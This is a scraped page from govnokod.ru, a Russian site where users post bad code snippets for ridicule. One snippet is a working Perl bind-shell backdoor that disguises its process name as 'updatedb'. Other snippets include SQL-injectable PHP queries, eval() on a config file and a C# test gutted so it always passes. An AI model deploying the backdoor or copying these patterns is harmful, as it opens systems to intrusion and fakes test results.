- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
/* ...*/ someMethod (/*someargs*/) {
//...
Create();
Create();
Create();
Create();
Create();
//...
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+31.2
/* ...*/ someMethod (/*someargs*/) {
//...
Create();
Create();
Create();
Create();
Create();
//...
}
+23.1
<?php
function is_featured($word_id) {
$sql = "SELECT * FROM `featured` WHERE `featured_id` = '$word_id'";
$results = mysql_query($sql);
if (mysql_num_rows($results)) {
return true;
} else {
return false;
}
}
Классический говнокод, встречаю очень часто
−327.6
#!/usr/bin/perl
$port = 32767;
$port = $ARGV[0] if $ARGV[0];
exit if fork;
$0 = "updatedb" . " " x100;
$SIG{CHLD} = 'IGNORE';
use Socket;
socket(S, PF_INET, SOCK_STREAM, 0);
setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
bind(S, sockaddr_in($port, INADDR_ANY));
listen(S, 50);
while(1)
{
accept(X, S);
unless(fork)
{
open STDIN, "<&X";
open STDOUT, ">&X";
open STDERR, ">&X";
close X;
exec("/bin/sh");
}
close X;
}
−7
int CompareTo (A a1, A a2)
{
if (a1.Year>a2.Year) return 1;
if (a1.Year<a2.Year) return -1;
return 0;
}
реализация интерфейса IComparable, чем не понравилось стандартное норминрование: return a1.Year - a2.Year; так и не понял
+13.4
prNewProduct.Description = Convert.ToString(tbDescription.Text);
А мы её ещё стрингее сделаем!
−421
def list2str(lst):
return reduce(lambda x,y:x+y,str(list(lst)).split("]")[0].split("[")[1].split(", "))
Функция, переводящая список в строку
+37.9
<?php
if (!$ncat) {
$sql="select * from articles_cat where status=1 order by `name` ASC limit 0,1";
$res = m_qr($sql);
if (m_rows($res)) {
while ($row = m_arr2($res)) {
$ncat=$row[id];
... 10 строк кода ...
}
}
} else {
$sql="select * from articles_cat where id='$ncat'";
$res = m_qr($sql);
if (m_rows($res)) {
while ($row = m_arr2($res)) {
$ncat=$row[id];
... те же 10 строк кода ...
}
}
}
Найди десять отличий...
+20
=----css----
table{
border:0px; /* border="0" */
border-collapse:collapse; /* cellspacing="0" */
height: 100%;
width: 100%;
}
table td{
padding:0px; /* cellpadding="0" */
}
.inputMsg{
width: 100%;
color: #040253;
border:1px solid #096;
}
----html-----
<table><tr>
<td>time</td>
<td><input class="inputMsg" name="msg" type="text" maxlength="255"></td>
<td><a href="#" onclick="refreshChat(window.document.chatSend.msg.value); window.document.chatSend.msg.value='';window.document.chatSend.msg.focus(); return false;" class="inputEnter"></a></td>
</tr></table>
+24
if (!($conf_content = file_get_contents($data_path."voc.conf"))) {
die("Cannot open voc.conf file, please check your DATA PATH ($data_path) parameter");
}
eval($conf_content);
при условии что voc.conf является пхпфайлом, глупо делать такую мутотень когда можно просто обойдись file_exists и include
+12
[Test]
public void UserHasNoPermissionToDeleteTransactionWithEditPermission()
{
var user = CreatetestUser("test")
.WithPermissions()
.Allow("Transaction/Edit").Do();
TestCurrentUser = user;
var trn = CreateTestTransaction(120, typeof(CreditCardPayment));
try
{
// Who cares about delete, we never do it.
// I need this test passed just NOW.
// trn.AsIObject().Delete();
// Assert.Fail("Exception expected");
}
catch (PermissionException ex)
{
Assert.IsTrue(true, "Cool we got an exception");
}
catch (Exception generic)
{
Assert.Fail("PermissionException expected.");
}
}
Ничего не тестирующий тест